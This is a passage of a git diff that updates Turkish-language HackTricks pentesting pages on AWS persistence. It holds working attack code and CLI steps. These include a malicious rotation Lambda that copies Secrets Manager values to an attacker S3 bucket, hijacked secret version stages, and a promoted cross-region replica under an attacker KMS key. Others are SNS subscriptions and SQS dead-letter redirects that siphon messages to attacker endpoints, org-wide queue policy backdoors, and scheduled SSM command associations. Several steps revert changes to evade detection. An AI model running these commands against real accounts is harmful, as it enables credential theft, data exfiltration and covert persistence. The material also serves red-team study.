işaret edecek şekilde değiştirilir. Fark edilmezse, planlanmış gelecekteki rotation'lar da attacker'ın fonksiyonunu çağırmaya devam eder. + +- Saldırı adımları (CLI) +1) attacker sink ve Lambda rolünü hazırlayın +- Exfiltration için S3 bucket oluşturun ve Lambda tarafından trust edilen, secret'i okuma ve S3'e yazma izinlerine sahip bir execution role oluşturun (gerektiğinde logs/KMS izinleri ekleyin). +2) Her rotation adımında secret value(lerini) alıp S3'e yazan attacker Lambda'yı deploy edin. Minimal rotation mantığı sadece AWSCURRENT'i AWSPENDING'e kopyalayabilir ve servis sağlıklı kalması için finishSecret'te bunu promote edebilir. +3) Rotation'ı yeniden bağlayın ve tetikleyin +- `aws secretsmanager rotate-secret --secret-id --rotation-lambda-arn --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately` +4) O secret için S3 prefix'ini listeleyip JSON artefaktlarını inceleyerek exfiltration'ı doğrulayın. +5) (İsteğe bağlı) Tespit riskini azaltmak için orijinal rotation Lambda'sını geri yükleyin. + +- Örnek attacker Lambda (Python) S3'e exfiltrating +- Environment: `EXFIL_BUCKET=` +- Handler: `lambda_function.lambda_handler` +```python +import boto3, json, os, base64, datetime +s3 = boto3.client('s3') +sm = boto3.client('secretsmanager') +BUCKET = os.environ['EXFIL_BUCKET'] + +def write_s3(key, data): +s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json') + +def lambda_handler(event, context): +sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step'] +# Exfil both stages best-effort +def getv(**kw): +try: +r = sm.get_secret_value(**kw) +return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')} +except Exception as e: +return {'error': str(e)} +current = getv(SecretId=sid, VersionStage='AWSCURRENT') +pending = getv(SecretId=sid, VersionStage='AWSPENDING') +key = f"{sid.replace(':','_')}/{step}/{token}.json" +write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending}) +# Minimal rotation (optional): copy current->pending and promote in finishSecret +# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage) +``` +### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip) + +Abuse Secrets Manager version staging label’larını kullanarak attacker-controlled bir secret versiyonu yerleştirin ve production `AWSCURRENT` kullanmaya devam ederken bunu custom stage altında (örneğin, `ATTACKER`) gizli tutun. İstediğiniz anda `AWSCURRENT`'i attacker’s version'a taşıyarak bağımlı iş yüklerini zehirleyin, ardından tespiti azaltmak için geri döndürün. Bu, secret adını veya rotation config'i değiştirmeden stealthy backdoor persistence ve hızlı time-of-use manipülasyonu sağlar. + +- Gereksinimler +- İzinler: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (doğrulama için) +- Hedef secret id, ilgili Bölge içinde. + +- Etkisi +- Bir secret'ın gizli, attacker-controlled bir versiyonunu koruyun ve talep üzerine atomik olarak `AWSCURRENT`'i ona çevirerek aynı secret adını çözen herhangi bir tüketiciyi etkileyin. Bu çevirme ve hızlı geri alma, tespit olasılığını azaltırken time-of-use compromise'a olanak tanır. + +- Saldırı adımları (CLI) +- Hazırlık +- `export SECRET_ID=` + +
+CLI komutları +```bash +# 1) Capture current production version id (the one holding AWSCURRENT) +CUR=$(aws secretsmanager list-secret-version-ids \ +--secret-id "$SECRET_ID" \ +--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \ +--output text) + +# 2) Create attacker version with known value (this will temporarily move AWSCURRENT) +BACKTOK=$(uuidgen) +aws secretsmanager put-secret-value \ +--secret-id "$SECRET_ID" \ +--client-request-token "$BACKTOK" \ +--secret-string {backdoor:hunter2!} + +# 3) Restore production and hide attacker version under custom stage +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$CUR" \ +--remove-from-version-id "$BACKTOK" + +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage ATTACKER \ +--move-to-version-id "$BACKTOK" + +# Verify stages +aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated + +# 4) On-demand flip to the attacker’s value and revert quickly +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$BACKTOK" \ +--remove-from-version-id "$CUR" + +# Validate served plaintext now equals the attacker payload +aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text + +# Revert to reduce detection +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$CUR" \ +--remove-from-version-id "$BACKTOK" +``` +
+ +- Notlar +- `--client-request-token` sağladığınızda, Secrets Manager bunu `VersionId` olarak kullanır. `--version-stages` açıkça ayarlanmadan yeni bir sürüm eklemek, varsayılan olarak `AWSCURRENT`'i yeni sürüme taşır ve önceki sürümü `AWSPREVIOUS` olarak işaretler. + + +### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy) + +Secrets Manager multi-Region replikasyonunu suistimal ederek hedef bir secret'ın daha az izlenen bir Region'a replikasını oluşturun, o Region'da saldırgan kontrollü bir KMS anahtarıyla şifreleyin, sonra replikayı bağımsız bir secret olarak yükseltip saldırgana okuma erişimi veren bir permissive resource policy iliştirin. Birincil Region'daki orijinal secret değişmeden kalır; böylece yükseltilmiş replika üzerinden kalıcı, gizli erişim sağlanır ve ana secret'taki KMS/policy kısıtlamaları atlanmış olur. + +- Gereksinimler +- İzinler: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`. +- Replica Region'da: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (veya `kms:PutKeyPolicy`) — saldırgan principal'ın `kms:Decrypt` yapabilmesi için. +- Yükseltilmiş secret'a okuma erişimi verilecek bir saldırgan principal (user/role). + +- Etki +- Saldırgan kontrollü bir KMS CMK ve permissive resource policy altında bağımsız bir replika üzerinden secret değerine kalıcı, cross-Region erişim yolu. Orijinal Region'daki birincil secret dokunulmamış kalır. + +- Saldırı (CLI) +- Değişkenler +```bash +export R1= # e.g., us-east-1 +export R2= # e.g., us-west-2 +export SECRET_ID= +export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +export ATTACKER_ARN=:user/ or role> +``` +1) Saldırganın kontrolündeki KMS anahtarını çoğaltma bölgesinde oluşturun +```bash +cat > /tmp/kms_policy.json <<'JSON' +{"Version":"2012-10-17","Statement":[ +{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"} +]} +JSON +KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \ +--query KeyMetadata.KeyId --output text) +aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID" +# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal) +aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey +``` +2) attacker KMS key kullanarak secret'i R2'ye çoğalt +```bash +aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \ +--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret +aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus' +``` +3) R2'de replikayı standalone hâline getir +```bash +# Use the secret name (same across Regions) +NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text) +aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME" +aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME" +``` +4) R2'deki standalone secret'e permissive resource policy ekle +```bash +cat > /tmp/replica_policy.json < \ ---protocol http \ ---notification-endpoint http:/// \ ---topic-arn -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md new file mode 100644 index 000000000..75d24fceb --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md @@ -0,0 +1,113 @@ +# AWS - SNS Kalıcılık + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### Kalıcılık + +Bir **SNS topic** oluştururken bir IAM policy ile **kimlerin okuma ve yazma erişimine sahip olduğunu** belirtmeniz gerekir. Harici hesapları, rollere ait ARN'leri veya **hatta "\*"** belirtmek mümkündür.\ +Aşağıdaki policy AWS'deki herkese **`MySNS.fifo`** adlı SNS topic üzerinde okuma ve yazma erişimi verir: +```json +{ +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__default_statement_ID", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"SNS:Publish", +"SNS:RemovePermission", +"SNS:SetTopicAttributes", +"SNS:DeleteTopic", +"SNS:ListSubscriptionsByTopic", +"SNS:GetTopicAttributes", +"SNS:AddPermission", +"SNS:Subscribe" +], +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", +"Condition": { +"StringEquals": { +"AWS:SourceOwner": "318142138553" +} +} +}, +{ +"Sid": "__console_pub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Publish", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +}, +{ +"Sid": "__console_sub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Subscribe", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +} +] +} +``` +### Aboneler Oluştur + +Tüm topic'lerdeki tüm mesajları exfiltrating etmeye devam etmek için saldırgan tüm topic'ler için **aboneler oluşturabilir**. + +Bir **topic FIFO türündeyse**, yalnızca **SQS** protokolünü kullanan aboneler kullanılabilir. +```bash +aws sns subscribe --region \ +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn +``` +### FilterPolicy ile MessageBody üzerinde gizli, seçici exfiltration + +Bir saldırganın bir topic üzerinde `sns:Subscribe` ve `sns:SetSubscriptionAttributes` izinleri varsa, JSON gövdesi çok dar bir filtreyle eşleşen (ör. `{"secret":"true"}`) mesajları yalnızca ileten gizli bir SQS subscription oluşturabilir. Bu, hacmi ve tespiti azaltır; aynı zamanda hassas kayıtları exfiltrate eder. + +**Olası Etki**: Hedef bir topic'ten yalnızca hedeflenmiş SNS mesajlarının gizli, düşük-gürültülü exfiltration'ı. + +Adımlar (AWS CLI): +- Saldırganın SQS queue policy'sinin victim `TopicArn` için `sqs:SendMessage` iznini verdiğinden emin olun (Condition `aws:SourceArn` equals the `TopicArn`). +- Topic'e SQS subscription oluşturun: + +```bash +aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN +``` + +- Filtreyi message body üzerinde çalışacak ve yalnızca `secret=true` ile eşleşecek şekilde ayarlayın: + +```bash +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}' +``` + +- Opsiyonel gizlilik: yalnızca ham payload'un alıcıya gelmesi için raw delivery'yi etkinleştirin: + +```bash +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true +``` + +- Doğrulama: iki mesaj yayınlayın ve yalnızca ilk mesajın saldırgan kuyruğuna teslim edildiğini doğrulayın. Örnek payload'lar: + +```json +{"secret":"true","data":"exfil"} +{"secret":"false","data":"benign"} +``` + +- Temizlik: persistence testi için oluşturulduysa unsubscribe yapın ve saldırgan SQS kuyruğunu silin. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md deleted file mode 100644 index 2ca32beaf..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - SQS Sürekliliği - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### Kaynak politikasını kullanma - -SQS'de **kimlerin okuma ve yazma erişimine sahip olduğunu** IAM politikası ile belirtmeniz gerekir. Harici hesapları, rol ARN'lerini veya **hatta "\*"** belirtmek mümkündür.\ -Aşağıdaki politika, AWS'deki herkesin **MyTestQueue** adlı kuyruğa erişimini sağlar: -```json -{ -"Version": "2008-10-17", -"Id": "__default_policy_ID", -"Statement": [ -{ -"Sid": "__owner_statement", -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": ["SQS:*"], -"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" -} -] -} -``` -> [!NOTE] -> Her yeni mesaj kuyruğa konulduğunda **saldırganın hesabındaki bir Lambda'yı tetikleyebilirsiniz** (bunu yeniden koymanız gerekecek) bir şekilde. Bunun için bu talimatları izleyin: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md new file mode 100644 index 000000000..dc8258ede --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md @@ -0,0 +1,47 @@ +# AWS - SQS Kalıcılık + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### Kaynak politikası kullanımı + +SQS'de IAM policy ile **kimin okuma ve yazma erişimine sahip olduğunu** belirtmeniz gerekir. Dış hesapları, rollerin ARN'lerini veya **hatta "\*"** belirtmek mümkündür.\ +Aşağıdaki policy AWS içindeki herkese **MyTestQueue** adlı kuyruktaki her şeye erişim verir: +```json +{ +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__owner_statement", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": ["SQS:*"], +"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" +} +] +} +``` +> [!NOTE] +> Her yeni mesaj kuyruğa konulduğunda **attacker's account içindeki bir Lambda'yı tetikleyebilirsiniz** (tekrar put etmeniz gerekecektir). Bunun için şu talimatları izleyin: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) + +### Daha fazla SQS Persistence Techniques + +{{#ref}} +aws-sqs-dlq-backdoor-persistence.md +{{#endref}} + +{{#ref}} +aws-sqs-orgid-policy-backdoor.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md new file mode 100644 index 000000000..972636e26 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md @@ -0,0 +1,71 @@ +# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy + +{{#include ../../../../banners/hacktricks-training.md}} + +Saldırgan kontrolündeki bir kuyruğa RedrivePolicy'yi işaretleyerek, kurban kaynak kuyruğundan verileri gizlice çekmek için SQS Dead-Letter Queues (DLQs) kötüye kullanılabilir. Düşük bir maxReceiveCount ve normal işleme hatalarını tetikleyerek veya bunların oluşmasını bekleyerek, mesajlar üreticileri veya Lambda event source mappings'i değiştirmeden otomatik olarak saldırgan DLQ'sine yönlendirilir. + +## Abused Permissions +- sqs:SetQueueAttributes kurban kaynak kuyruğu üzerinde (RedrivePolicy ayarlamak için) +- sqs:SetQueueAttributes saldırgan DLQ üzerinde (RedriveAllowPolicy ayarlamak için) +- Hızlandırma için isteğe bağlı: sqs:ReceiveMessage kaynak kuyruk üzerinde +- Kurulum için isteğe bağlı: sqs:CreateQueue, sqs:SendMessage + +## Same-Account Flow (allowAll) + +Preparation (attacker account or compromised principal): +```bash +REGION=us-east-1 +# 1) Create attacker DLQ +ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text) +ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# 2) Allow any same-account source queue to use this DLQ +aws sqs set-queue-attributes \ +--queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}' +``` +Çalıştırma (hedef hesaptaki ele geçirilmiş principal olarak çalıştır): +```bash +# 3) Point victim source queue to attacker DLQ with low retries +VICTIM_SRC_URL= +ATTACKER_DLQ_ARN= +aws sqs set-queue-attributes \ +--queue-url "$VICTIM_SRC_URL" --region $REGION \ +--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}' +``` +Hızlandırma (isteğe bağlı): +```bash +# 4) If you also have sqs:ReceiveMessage on the source queue, force failures +for i in {1..2}; do \ +aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \ +--max-number-of-messages 10 --visibility-timeout 0; \ +done +``` +Doğrulama: +```bash +# 5) Confirm messages appear in attacker DLQ +aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--max-number-of-messages 10 --attribute-names All --message-attribute-names All +``` +Örnek kanıt (Öznitelikler arasında DeadLetterQueueSourceArn bulunur): +```json +{ +"MessageId": "...", +"Body": "...", +"Attributes": { +"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..." +} +} +``` +## Hesaplar Arası Varyant (byQueue) +attacker DLQ üzerinde RedriveAllowPolicy'yi yalnızca belirli victim source queue ARNs'ine izin verecek şekilde ayarlayın: +```bash +VICTIM_SRC_ARN= +aws sqs set-queue-attributes \ +--queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}' +``` +## Etki +- Kurban SQS kaynak kuyruğundaki başarısız mesajları otomatik olarak saldırgan kontrolündeki DLQ'ye yönlendirerek, minimal operasyonel gürültüyle ve producers veya Lambda eşlemelerinde hiçbir değişiklik yapmadan sinsi, kalıcı veri sızdırma/kalıcılığı sağlar. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md new file mode 100644 index 000000000..383c0168e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md @@ -0,0 +1,38 @@ +# AWS - SQS OrgID Policy Backdoor + +{{#include ../../../../banners/hacktricks-training.md}} + +aws:PrincipalOrgID koşulunu kullanarak bir SQS queue resource policy'sini suistimal edip hedef bir AWS Organization'a ait herhangi bir principal'e Send, Receive ve ChangeMessageVisibility izinlerini sessizce verin. Bu, genellikle yalnızca açık hesap veya role ARNs veya star principals arayan kontrollerden kaçan organizasyon düzeyinde gizli bir yol oluşturur. + +### Backdoor policy (SQS queue policy'ye ekleyin) +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OrgScopedBackdoor", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"sqs:ReceiveMessage", +"sqs:SendMessage", +"sqs:ChangeMessageVisibility", +"sqs:GetQueueAttributes" +], +"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME", +"Condition": { +"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" } +} +} +] +} +``` +### Adımlar +- AWS Organizations API ile Organization ID'yi edinin. +- SQS kuyruğunun ARN'sini alın ve yukarıdaki statement'ı içerecek şekilde kuyruğun politikasını ayarlayın. +- Bahsi geçen Organization'a ait herhangi bir principal'dan kuyruğa mesaj gönderip alarak erişimi doğrulayın. + +### Etki +- Belirtilen AWS Organization içindeki herhangi bir account tarafından SQS mesajlarının okunması ve yazılmasına yönelik Organization genelinde gizli erişim. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md deleted file mode 100644 index 488c90ff5..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md +++ /dev/null @@ -1,27 +0,0 @@ -# AWS - SSM Sürekliliği - -{{#include ../../../banners/hacktricks-training.md}} - -## SSM - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md -{{#endref}} - -### Süreklilik için ssm:CreateAssociation kullanma - -**`ssm:CreateAssociation`** iznine sahip bir saldırgan, SSM tarafından yönetilen EC2 örneklerinde komutları otomatik olarak yürütmek için bir State Manager Association oluşturabilir. Bu ilişkiler, etkileşimli oturumlar olmadan arka kapı benzeri süreklilik sağlamak için sabit bir aralıkta çalışacak şekilde yapılandırılabilir. -```bash -aws ssm create-association \ ---name SSM-Document-Name \ ---targets Key=InstanceIds,Values=target-instance-id \ ---parameters commands=["malicious-command"] \ ---schedule-expression "rate(30 minutes)" \ ---association-name association-name -``` -> [!NOTE] -> Bu kalıcılık yöntemi, EC2 örneği Systems Manager tarafından yönetildiği, SSM ajanı çalıştığı ve saldırganın ilişkilendirmeler oluşturma iznine sahip olduğu sürece çalışır. Etkileşimli oturumlar veya açık ssm:SendCommand izinleri gerektirmez. **Önemli:** `--schedule-expression` parametresi (örneğin, `rate(30 minutes)`) AWS'nin minimum 30 dakikalık aralığını dikkate almalıdır. Anlık veya tek seferlik yürütme için `--schedule-expression` tamamen hariç tutulmalıdır — ilişkilendirme oluşturulduktan sonra bir kez yürütülecektir. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md new file mode 100644 index 000000000..d28ef1dae --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md @@ -0,0 +1,27 @@ +# AWS - SSM Kalıcılık + +{{#include ../../../../banners/hacktricks-training.md}} + +## SSM + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +{{#endref}} + +### ssm:CreateAssociation ile kalıcılık + +**`ssm:CreateAssociation`** iznine sahip bir saldırgan, SSM tarafından yönetilen EC2 instance'larında komutları otomatik olarak çalıştırmak için bir State Manager Association oluşturabilir. Bu State Manager Association'lar sabit aralıklarla çalışacak şekilde yapılandırılabilir; bu da etkileşimli oturumlar olmadan arka kapı benzeri kalıcılık için uygun hale getirir. +```bash +aws ssm create-association \ +--name SSM-Document-Name \ +--targets Key=InstanceIds,Values=target-instance-id \ +--parameters commands=["malicious-command"] \ +--schedule-expression "rate(30 minutes)" \ +--association-name association-name +``` +> [!NOTE] +> Bu persistence yöntemi, EC2 instance'ı Systems Manager tarafından yönetildiği, SSM agent çalışır durumda olduğu ve saldırganın associations oluşturma iznine sahip olduğu sürece çalışır. Etkileşimli oturumlar veya açık ssm:SendCommand izinleri gerektirmez. **Önemli:** `--schedule-expression` parametresi (örn., `rate(30 minutes)`) AWS'nin minimum 30 dakikalık aralığına uymalıdır. Hemen veya tek seferlik çalıştırma için `--schedule-expression` parametresini tamamen kaldırın — association oluşturulduktan sonra bir kez çalıştırılacaktır. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md deleted file mode 100644 index 7a7ff133e..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - Step Functions Sürekliliği - -{{#include ../../../banners/hacktricks-training.md}} - -## Step Functions - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-stepfunctions-enum.md -{{#endref}} - -### Step Function Arka Kapı Oluşturma - -Bir step function'ı arka kapı ile değiştirerek, her çalıştırıldığında kötü niyetli adımlarınızı çalıştıracak şekilde herhangi bir süreklilik numarasını gerçekleştirmesini sağlayın. - -### Arka Kapı Oluşturma Takma Adları - -Eğer AWS hesabı step function'ları çağırmak için takma adlar kullanıyorsa, step function'ın yeni arka kapılı versiyonunu kullanmak için bir takma adı değiştirmek mümkün olacaktır. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md new file mode 100644 index 000000000..624267e74 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md @@ -0,0 +1,21 @@ +# AWS - Step Functions Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Step Functions + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-stepfunctions-enum.md +{{#endref}} + +### Step function Backdooring + +Bir step function'ı backdoor ederek, her çalıştırıldığında persistence amaçlı herhangi bir hileyi gerçekleştirip kötü amaçlı adımlarınızı çalıştırmasını sağlayabilirsiniz. + +### Backdooring aliases + +Eğer AWS hesabı step functions'ı çağırmak için aliases kullanıyorsa, bir alias'ı değiştirerek step function'ın yeni backdoored bir sürümünü kullanmasını sağlamak mümkün olabilir. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md similarity index 68% rename from src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md rename to src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md index 2f84d6694..0974a0ed5 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md @@ -1,36 +1,36 @@ -# AWS - STS Sürekliliği +# AWS - STS Persistence -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## STS -Daha fazla bilgi için erişin: +Daha fazla bilgi için bakınız: {{#ref}} -../aws-services/aws-sts-enum.md +../../aws-services/aws-sts-enum.md {{#endref}} -### Rol üstlenme tokeni +### Assume role token -Geçici tokenler listelenemez, bu nedenle aktif bir geçici tokeni sürdürmek, sürekliliği sağlamak için bir yoldur. +Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence.
aws sts get-session-token --duration-seconds 129600
 
-# MFA ile
+# With MFA
 aws sts get-session-token \
 --serial-number  \
 --token-code 
 
-# Donanım cihazı adı genellikle cihazın arkasındaki numaradır, örneğin GAHT12345678
-# SMS cihaz adı AWS'deki ARN'dir, örneğin arn:aws:iam::123456789012:sms-mfa/kullanıcı adı
-# Sanal cihaz adı AWS'deki ARN'dir, örneğin arn:aws:iam::123456789012:mfa/kullanıcı adı
+# Hardware device name is usually the number from the back of the device, such as GAHT12345678
+# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
+# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
 
